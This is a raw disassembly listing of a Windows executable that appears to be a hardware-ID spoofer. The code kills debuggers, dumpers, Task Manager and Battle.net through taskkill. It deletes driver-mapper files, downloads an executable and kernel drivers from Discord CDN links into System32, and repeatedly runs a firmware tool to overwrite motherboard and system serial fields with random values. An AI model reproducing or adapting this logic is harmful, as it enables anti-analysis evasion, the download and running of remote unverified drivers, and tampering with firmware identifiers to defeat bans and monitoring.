call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQdiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQNULLSPOOF.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQkdmapper.exe
call fcn.1402b632c
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32Mobo.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769226113054_AMI.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769909780491_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv32.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769582620694_amifldrv32.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windows_nfLauncher.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1139989094840152174_nfLauncher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random___random___random_
lea rcx, [rsp + 0x66b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x66b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x66b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random___random___random_
lea rcx, [rsp + 0x66d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x66d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x66d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random___random___random_
lea rcx, [rsp + 0x66f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x66f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x66f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random___random___random_
lea rcx, [rsp + 0x6710]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6710]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6710]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random___random___random_
lea rcx, [rsp + 0x6730]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6730]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6730]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random___random___random_
lea rcx, [rsp + 0x6750]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6750]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6750]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random___random___random_
lea rcx, [rsp + 0x6770]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6770]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6770]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random___random___random_
lea rcx, [rsp + 0x6790]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6790]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6790]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random___random___random_
lea rcx, [rsp + 0x67b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x67b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x67b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random___random___random_
lea rcx, [rsp + 0x67d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x67d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x67d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x67f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x67f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x67f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random___random___random_
lea rcx, [rsp + 0x6810]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6810]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6810]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random___random___random_
lea rcx, [rsp + 0x6830]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6830]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6830]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x6850]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6850]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6850]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random___random___random_
lea rcx, [rsp + 0x6870]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6870]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6870]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random___random___random_
lea rcx, [rsp + 0x6890]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6890]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6890]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random___random___random_
lea rcx, [rsp + 0x68b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x68b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x68b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random___random___random_
lea rcx, [rsp + 0x68d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x68d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x68d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random___random___random_
lea rcx, [rsp + 0x68f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x68f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x68f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random___random___random_
lea rcx, [rsp + 0x6910]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6910]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6910]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random___random___random_
lea rcx, [rsp + 0x6930]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6930]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6930]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random___random___random_
lea rcx, [rsp + 0x6950]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6950]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6950]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random___random___random_
lea rcx, [rsp + 0x6970]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6970]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6970]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random___random___random_
lea rcx, [rsp + 0x6990]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6990]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6990]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random___random___random_
lea rcx, [rsp + 0x69b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x69b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x69b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random___random___random_
lea rcx, [rsp + 0x69d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x69d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x69d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random___random___random_
lea rcx, [rsp + 0x69f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x69f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x69f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random___random___random_
lea rcx, [rsp + 0x6a10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6a10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6a10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV__random___random___random_
lea rcx, [rsp + 0x6a30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6a30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6a30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random___random___random_
lea rcx, [rsp + 0x6a50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6a50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6a50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random___random___random_
lea rcx, [rsp + 0x6a70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6a70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6a70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random___random___random_
lea rcx, [rsp + 0x6a90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6a90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6a90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random___random___random_
lea rcx, [rsp + 0x6ab0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6ab0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6ab0]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x6ad0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6ad0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6ad0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x6af0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6af0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6af0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random___random___random_
lea rcx, [rsp + 0x6b10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6b10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6b10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random___random___random_
lea rcx, [rsp + 0x6b30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6b30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6b30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random___random___random_
lea rcx, [rsp + 0x6b50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6b50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6b50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random___random___random_
lea rcx, [rsp + 0x6b70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6b70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6b70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random___random___random_
lea rcx, [rsp + 0x6b90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6b90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6b90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random___random___random_
lea rcx, [rsp + 0x6bb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6bb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6bb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random___random___random_
lea rcx, [rsp + 0x6bd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6bd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6bd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random___random___random_
lea rcx, [rsp + 0x6bf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6bf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6bf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random___random___random_
lea rcx, [rsp + 0x6c10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6c10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6c10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random___random___random_
lea rcx, [rsp + 0x6c30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6c30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6c30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random___random___random_
lea rcx, [rsp + 0x6c50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6c50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6c50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random___random___random_
lea rcx, [rsp + 0x6c70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6c70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6c70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random___random___random_
lea rcx, [rsp + 0x6c90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6c90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6c90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random___random___random_
lea rcx, [rsp + 0x6cb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6cb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6cb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random___random___random_
lea rcx, [rsp + 0x6cd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6cd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6cd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random___random___random_
lea rcx, [rsp + 0x6cf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6cf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6cf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random___random___random_
lea rcx, [rsp + 0x6d10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6d10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6d10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random___random___random_
lea rcx, [rsp + 0x6d30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6d30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6d30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random___random___random_
lea rcx, [rsp + 0x6d50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6d50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6d50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x6d70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6d70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6d70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random___random___random_
lea rcx, [rsp + 0x6d90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6d90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6d90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random___random___random_
lea rcx, [rsp + 0x6db0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6db0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6db0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x6dd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6dd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6dd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random___random___random_
lea rcx, [rsp + 0x6df0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6df0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6df0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random___random___random_
lea rcx, [rsp + 0x6e10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6e10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6e10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x6e30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6e30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6e30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random___random___random_
lea rcx, [rsp + 0x6e50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6e50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6e50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random___random___random_
lea rcx, [rsp + 0x6e70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6e70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6e70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random___random___random_
lea rcx, [rsp + 0x6e90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6e90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6e90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random___random___random_
lea rcx, [rsp + 0x6eb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6eb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6eb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random___random___random_
lea rcx, [rsp + 0x6ed0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6ed0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6ed0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random___random___random_
lea rcx, [rsp + 0x6ef0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6ef0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6ef0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random___random___random_
lea rcx, [rsp + 0x6f10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6f10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6f10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random___random___random_
lea rcx, [rsp + 0x6f30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6f30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6f30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random___random___random_
lea rcx, [rsp + 0x6f50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6f50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6f50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random___random___random_
lea rcx, [rsp + 0x6f70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6f70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6f70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random___random___random_
lea rcx, [rsp + 0x6f90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6f90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6f90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random___random___random_
lea rcx, [rsp + 0x6fb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6fb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6fb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random___random___random_
lea rcx, [rsp + 0x6fd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6fd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6fd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random___random___random_
lea rcx, [rsp + 0x6ff0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6ff0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6ff0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV__random___random___random_
lea rcx, [rsp + 0x7010]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7010]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7010]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random___random___random_
lea rcx, [rsp + 0x7030]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7030]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7030]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random___random___random_
lea rcx, [rsp + 0x7050]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7050]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7050]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random___random___random_
lea rcx, [rsp + 0x7070]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7070]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7070]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random___random___random_
lea rcx, [rsp + 0x7090]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7090]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7090]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x70b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x70b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x70b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x70d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x70d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x70d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random___random___random_
lea rcx, [rsp + 0x70f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x70f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x70f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random___random___random_
lea rcx, [rsp + 0x7110]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7110]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7110]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random___random___random_
lea rcx, [rsp + 0x7130]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7130]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7130]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random___random___random_
lea rcx, [rsp + 0x7150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7150]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7150]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random___random___random_
lea rcx, [rsp + 0x7170]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7170]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7170]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random___random___random_
lea rcx, [rsp + 0x7190]
call fcn.14005d9d0
